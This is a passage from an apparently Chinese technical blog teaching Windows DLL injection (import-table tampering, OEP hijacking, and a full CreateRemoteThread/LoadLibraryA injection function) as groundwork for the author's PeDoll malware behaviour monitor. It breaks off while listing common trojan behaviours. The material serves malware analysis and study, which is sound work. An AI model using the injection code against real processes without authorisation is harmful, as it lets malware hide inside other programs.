data-rawwidth=&443& class=&origin_image zh-lightbox-thumb& width=&443& data-original=&/v2-8f5bfc79a_r.jpg&&&/figure&&p&&br&&/p&&p&4、执行我们的hook代码,并恢复API的原始代码,最后调用这个API(如果你希望的话)并执行,对于原始程序来说就像这个调用过程一切顺利并且毫无察觉。我们一般管这个过程叫做inline hook。那么现在的重点是如何将我们的DLL插入到目标程序当中。&/p&&figure&&img data-rawheight=&639& src=&/v2-5b628cc227a1ad9988747a_b.jpg& data-size=&normal& data-rawwidth=&495& class=&origin_image zh-lightbox-thumb& width=&495& data-original=&/v2-5b628cc227a1ad9988747a_r.jpg&&&/figure&&p&&br&&/p&&p&说起DLL的插入姿势,我想引用生物链最顶端的男人贝尔格里尔斯的一句话“这玩意就像摸鳟鱼一样,每个人都有每个人的办法”,在这里,我将使用C++代码主要讲解目前主流的几种DLL注入姿势。&/p&&p&&br&&/p&&p&&br&&/p&&blockquote&&b&被篡改的名单,导入表注入&/b&&/blockquote&&p&&br&&/p&&p&下面的这一幕经常发生在间谍片中玩烂,大致是某个关键人物举办或是参加一场宴会,而特工们需要做的是千方百计去修改宴会的邀请名单,好把自己的名字给加上去,我说这个故事的目的是,在windows的可执行文件(以下特指PE文件)中,也有这种名单,但这个名单邀请的不是名人贵族,而是在可执行文件被加载时,同时被加载的DLL。&/p&&p&&br&&/p&&p&&br&&/p&&p&那么这个名单在哪里呢?,我们可以打开PE文件分析的利器, LordPe,如果你没有这个工具,你可以上去下载一个:&/p&&figure&&img data-rawheight=&467& src=&/v2-ae276e8624328becea2c0c80e8c0dc5d_b.jpg& data-size=&normal& data-rawwidth=&827& class=&origin_image zh-lightbox-thumb& width=&827& data-original=&/v2-ae276e8624328becea2c0c80e8c0dc5d_r.jpg&&&/figure&&p&&br&&/p&&p&打开软件,然后点击Pe Editor,在这里,我选择notepad.exe也就是记事本做讲解实例,选择后,点击directiories&/p&&figure&&img data-rawheight=&463& src=&/v2-e8fd6a78fdeae_b.jpg& data-size=&normal& data-rawwidth=&821& class=&origin_image zh-lightbox-thumb& width=&821& data-original=&/v2-e8fd6a78fdeae_r.jpg&&&/figure&&p&&br&&/p&&p&找到import tables(导入表),点击“…”&/p&&figure&&img data-rawheight=&466& src=&/v2-fe32db2e394e5b5eb75f0f_b.jpg& data-size=&normal& data-rawwidth=&822& class=&origin_image zh-lightbox-thumb& width=&822& data-original=&/v2-fe32db2e394e5b5eb75f0f_r.jpg&&&/figure&&p&&br&&/p&&p&现在,看到导入表的数据了么&/p&&figure&&img data-rawheight=&456& src=&/v2-592d4c69a600ec45f5d0d_b.jpg& data-size=&normal& data-rawwidth=&809& class=&origin_image zh-lightbox-thumb& width=&809& data-original=&/v2-592d4c69a600ec45f5d0d_r.jpg&&&/figure&&p&没错,这些dll就是这个记事本的邀请名单,当你双击记事本时,这些DLL都将被加载到内存当中(实际上如果有别的程序已经加载过这个dll,加载器就只是把这个dll的内存地址给映射过去只保留一个内存拷贝,这也就是为什么在xp年代,hook了这些dll里的API函数能够实现全局HOOK),而点击一个DLL文件,下面的函数是不是也非常的眼熟,没错,它们当中的大部分都是系统的API函数,正常情况下,这些函数都是在程序中将会被调用到的函数(由一个IAT表来维护这种调用关系,在双桥结构中,还有一个INT),所以在很多情况下,通过对导入表的分析,我们就可以猜到,这个程序大致有没有修改我们的注册表,有没有访问文件,有没有进行网络交互….&/p&&p&&br&&/p&&p&&br&&/p&&p&当然在本文中并不打算讨论PE文件头的结构细节,这些资料你都可以在《Windows PE权威指南》中查询到,在这里,我打算做一个小小的篡改导入表的实验。&/p&&p&&br&&/p&&p&&br&&/p&&p&首先打开Visual Studio,写一个最简单的Hello World程序&/p&&p&&br&&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&#include &stdio.h&
int main()
printf(&Hello world&);
getchar();
&/code&&/pre&&/div&&p&&br&&/p&&p&同时编写一个最简单的DLL,在DllMain中,我们仅仅只是在DLL Attach也就是dll被加载到程序时,显示一个对话框,弹出“导入表修改实验”,同时我们还需要编写一个导出函数,当然,这个导出函数中我们什么也不做&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&void DLL_API X_dummy()
BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
switch (ul_reason_for_call)
case DLL_PROCESS_ATTACH:
MessageBoxA(NULL,&导入表修改实验&,&&,MB_YESNO);
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
return (TRUE);
&/code&&/pre&&/div&&p&最后,编译两个程序并把编译的结果提取出来&/p&&figure&&img data-rawheight=&51& src=&/v2-f6acbdefdda41fa32fc3de_b.jpg& data-size=&normal& data-rawwidth=&589& class=&origin_image zh-lightbox-thumb& width=&589& data-original=&/v2-f6acbdefdda41fa32fc3de_r.jpg&&&/figure&&p&&br&&/p&&p&我们直接运行Test.exe,显示出hello world一切正常&/p&&figure&&img data-rawheight=&442& src=&/v2-6d54b923e419b358abc31328_b.jpg& data-size=&normal& data-rawwidth=&677& class=&origin_image zh-lightbox-thumb& width=&677& data-original=&/v2-6d54b923e419b358abc31328_r.jpg&&&/figure&&p&&br&&/p&&p&现在我们打开LordPE,并将TestDLL加入它的导入表中&/p&&figure&&img data-rawheight=&394& src=&/v2-0a3e03bbb42add7d018e6c_b.jpg& data-size=&normal& data-rawwidth=&693& class=&origin_image zh-lightbox-thumb& width=&693& data-original=&/v2-0a3e03bbb42add7d018e6c_r.jpg&&&/figure&&figure&&img data-rawheight=&283& src=&/v2-ec753f70928daf8e8ac46b44fe25941b_b.jpg& data-size=&normal& data-rawwidth=&614& class=&origin_image zh-lightbox-thumb& width=&614& data-original=&/v2-ec753f70928daf8e8ac46b44fe25941b_r.jpg&&&/figure&&p&&br&&/p&&p&点击Ok,现在,我们再来执行下Test.exe,可以看到,DLL确实被加载进了程序当中,而且在加载在执行程序前,因此这个时候,Hello World还没有正确显示出来,导入表篡改成功(代码包含于附件A02)&/p&&figure&&img data-rawheight=&440& src=&/v2-5d9e5b9b085ae690439b_b.jpg& data-size=&normal& data-rawwidth=&675& class=&origin_image zh-lightbox-thumb& width=&675& data-original=&/v2-5d9e5b9b085ae690439b_r.jpg&&&/figure&&p&&br&&/p&&p&&br&&/p&&p&&br&&/p&&blockquote&&b&被劫持的OEP&/b&&/blockquote&&p&导入表修改简单而且好用,但是之前说过了,DLL注入就像是摸鳟鱼,每个人都有每个人的办法,而且导入表注入同时它的缺陷也是非常的明显,&/p&&p&1,程序中可以非常方便的扫描出导入表是否被篡改,&/p&&p&2.如果PE结构非常的紧凑,你甚至无法插入一个section且没有额外空余的位置来重构导入表,你也将会失败,当然有人会说,是否可以伪造成和源DLL相同的名字来进行导入,这当然也是注入的一种办法,但假设这个DLL的导出函数非常的多,何况你还得知道传参的个数和方式,那么这个问题就变得相当的复杂了。&/p&&p&3.有些程序根本就没有导入表,这并不奇怪,,有些DLL,即便是没有导入表,它一样会被加载到程序当中,我们要做的仅仅只是定位到loadlibrary和getprocessaddress这两个函数,我们就可以把其他的dll一同加载进来,当然如何定位又是另一种“摸鳟鱼”的话题了。&/p&&p&&br&&/p&&p&&br&&/p&&p&面对导入表修改的问题,说到这里应该先提出另一个问题,在PE加载器加载了一个PE可执行文件后(EXE),它将从哪里开始执行,是的,PE格式文件有多个section,当PE文件被加载时,他们将被映射到内存当中,而且加载的位置由Pe Header中给出建议的值(暂时不讨论重定向,aslr),在以前尚未对PE格式有所认识时,也许很多人认为,程序就是从文件的一开始开始执行,然而实际上,在Pe Header中,定义了一个OEP(original entry point),在x86中,它是一个32位的值,指的就是程序一开始执行的地址。&/p&&p&&br&&/p&&p&&br&&/p&&p&在了解了这个之后,注入dll的思路就变得非常清晰了,我们可以直接修改OEP的值,让程序先执行我们加载DLL的代码,然后再跳转回原始OEP继续执行程序,实际上,非常多的壳程序用的几乎都是这一手法,他们将原来的PE数据打包压缩,将OEP重定向到自己的解包代码中,在程序执行后,他们将原始的数据恢复到内存中,这样一来,不仅压缩了程序的体积,而且对执行效率并没有多大影响。&/p&&p&这里不再进行更深入的讨论,详细的资料你仍然可以通过查阅《Windows PE权威指南》《加密与解密》得到。&/p&&p&&br&&/p&&p&&br&&/p&&p&&br&&/p&&blockquote&&b&不怀好意的插班生,远程注入&/b&&/blockquote&&p&&br&&/p&&p&前面说到的两种注入方式,如果说有什么特别明显的缺陷的话,那就是都会对源文件造成修改,当然,前面两种方式经常把可执行文件搞炸,因为新的技术新的保护方案不断在推出,假设有哪一个方面没考虑到的话,可能源程序就会变得根本没有办法执行下去,总的来说,上面的两种做法,经常导致程序崩溃,显得不那么的“官方”。&/p&&p&&br&&/p&&p&&br&&/p&&p&那么有没有办法更加的“官方”,甚至能在程序执行期间,也能够将我们的DLL插入进去实现Hook,那么这里我介绍下大名鼎鼎的CreateRemoteThread这个API函数,这个函数在早期,基本只要是有外挂,木马编写程序的都知道,它的作用就和他的名字一样,创建远程线程,也就是在其他的程序中创建一个线程,执行这个API的步骤基本上是这样&/p&&p&1.在远程进程里申请一段空间&/p&&p&2.拷贝执行的代码到该空间&/p&&p&3.调用CreateRemoteThread执行代码&/p&&p&&br&&/p&&p&当然,假如我们只需要加载我们的DLL的话,事情就变得更简单了,我们只需要申请一段远程空间,把需要加载的DLL文件路径给填写进去,然后定位kernel32.dll里的LoadLibraryA(地址都是相同的),之后CreateRemoteThread,把远程地址作为参数传递给LoadLibraryA就行了,这样,我们的DLL就顺利的安插在了目标程序当中。&/p&&p&&br&&/p&&p&完成这一过程的代码也非常的简短,同时他拥有非常不错的兼容性,因此,它也常常被用于各种木马病毒隐藏自身的一种手段。&/p&&p&&br&&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&BOOL InjectDll(DWORD dwPID, LPCSTR szDllPath) {
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
HMODULE hMod = NULL;
LPVOID pRemoteBuf = NULL;
DWORD dwBufSize = (DWORD)(strlen(szDllPath) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadP
if( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) ) {
printf(&Could not open target process(%d) error: [%d]&, dwPID, GetLastError());
return FALSE;
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);
hMod = GetModuleHandle(&kernel32.dll&);
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, &LoadLibraryA&);
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf,0, NULL);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
&/code&&/pre&&/div&&p&&br&&/p&&p&&br&&/p&&blockquote&&b&基于inline Hook的行为监视器PeDoll&/b&&/blockquote&&p&&br&&/p&&p&在介绍了几个章节比较沉重的技术理论话题之后,现在我们开始正式回到如何愉快轻松的,调戏那些恶意程序了。&/p&&p&那么,我先介绍一个软件,它的名字叫PeDoll,他是由笔者开发的,当然这个软件目前并不打算开源,但是,在本章节之后,我将会放出这个软件的release版本(入门版,基础版,专业版)你可以使用论坛的魔法币来下载它们:),当然秉承着越贵越好的原则,专业版提供的功能也会远多于入门版。&/p&&p&&br&&/p&&p&那么PEDoll是什么呢,就是这玩意(启动logo也是笔者原创的,你可以说非常中二病,但笔者觉得挺符合主题也挺cooooooooooooooool):&/p&&figure&&img data-rawheight=&552& src=&/v2-80031f16beca588b7bfd_b.jpg& data-size=&normal& data-rawwidth=&649& class=&origin_image zh-lightbox-thumb& width=&649& data-original=&/v2-80031f16beca588b7bfd_r.jpg&&&/figure&&p&&br&&/p&&p&它是一款基于inline hook的行为监视器,就和我们前几章节说的一样,PeDoll通过DLL注入到目标的进程,hook关键的API,从而达到行为分析的目的,当你下载到PeDoll时,它实际上是由三个文件夹组成的。&/p&&p&你可以看到PeDoll中包含三个文件夹&/p&&figure&&img data-rawheight=&76& src=&/v2-bc5d79d4a4a8aecd5f80f_b.jpg& data-size=&normal& data-rawwidth=&513& class=&origin_image zh-lightbox-thumb& width=&513& data-original=&/v2-bc5d79d4a4a8aecd5f80f_r.jpg&&&/figure&&p&&br&&/p&&p&其中,常用脚本中包含了一系列常用的分析脚本,当它们被加载到PeDoll时,一个专门的脚本解析引擎将会检查它们的语法准确性并部署到hook与过滤器(filter),中断规则(interrupt rules),因此如果你没有阅读过相关的帮助文档,不建议对其直接修改&/p&&figure&&img data-rawheight=&149& src=&/v2-c37d3db7dda7_b.jpg& data-size=&normal& data-rawwidth=&731& class=&origin_image zh-lightbox-thumb& width=&731& data-original=&/v2-c37d3db7dda7_r.jpg&&&/figure&&p&&br&&/p&&p&控制器包含了PeDoll 的操作程序界面于控制器&/p&&figure&&img data-rawheight=&143& src=&/v2-9ebc115fa73f065a62ec348_b.jpg& data-size=&normal& data-rawwidth=&732& class=&origin_image zh-lightbox-thumb& width=&732& data-original=&/v2-9ebc115fa73f065a62ec348_r.jpg&&&/figure&&p&&br&&/p&&p&请双击击 PeDoll的分析界面类似这样。&/p&&figure&&img data-rawheight=&595& src=&/v2-4cbbe7b2f41c_b.jpg& data-size=&normal& data-rawwidth=&1000& class=&origin_image zh-lightbox-thumb& width=&1000& data-original=&/v2-4cbbe7b2f41c_r.jpg&&&/figure&&p&&br&&/p&&p&&br&&/p&&p&在调试机程序文件夹中,你可以找到下面两个文件&/p&&figure&&img data-rawheight=&56& src=&/v2-5b3d5aad56e640b105b4_b.jpg& data-size=&normal& data-rawwidth=&632& class=&origin_image zh-lightbox-thumb& width=&632& data-original=&/v2-5b3d5aad56e640b105b4_r.jpg&&&/figure&&p&&br&&/p&&p&其中,PE.DLL是用于注入的DLL,PeDolls.exe是调试机中与控制器通讯的调试器,它负责将DLL注入到目标程序,或者直接修改目标程序,终止调试进程等任务。&/p&&p&你应该把这两个文件拷贝到你的虚拟机中,并以管理员身份运行PeDolls.exe,如图:&/p&&figure&&img data-rawheight=&670& src=&/v2-bf992dd9bfba4f284b415_b.jpg& data-size=&normal& data-rawwidth=&931& class=&origin_image zh-lightbox-thumb& width=&931& data-original=&/v2-bf992dd9bfba4f284b415_r.jpg&&&/figure&&p&&br&&/p&&p&&br&&/p&&p&如果没有报错的话,它将会把Pe.DLL拷贝到C:\windows下,这样,调试程序就能够以DLL的默认路径来加载PE.dll,当你完成这步时,PEDoll就算是完成部署了.&/p&&p&&br&&/p&&p&&b&调戏木马病毒前的准备工作&/b&&/p&&p&&br&&/p&&p&&br&&/p&&p&当然如果说不需要任何的基础就能够分析那些恶意程序,这显然是不切实际的,因此我才在之前花了大量的笔墨去或浅显或深入的去介绍一些理论知识。&/p&&p&但它确实也没用想象中的那么复杂,也许你没用过od,ida甚至不会编程,这些都没有关系,但前提条件是,你至少需要明白,大部分的恶意程序在我们的电脑上,都可能做一些什么,而他们做的这些事情,又会用到哪些API函数?&/p&&p&在这里,我稍微总结了一些“不大高端”的病毒一些常见的行为&/p&&p&1.大多数的木马程序会将自己写入开机启动,他们常常被写}

我要回帖

更多关于 执行标准和安全类别 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信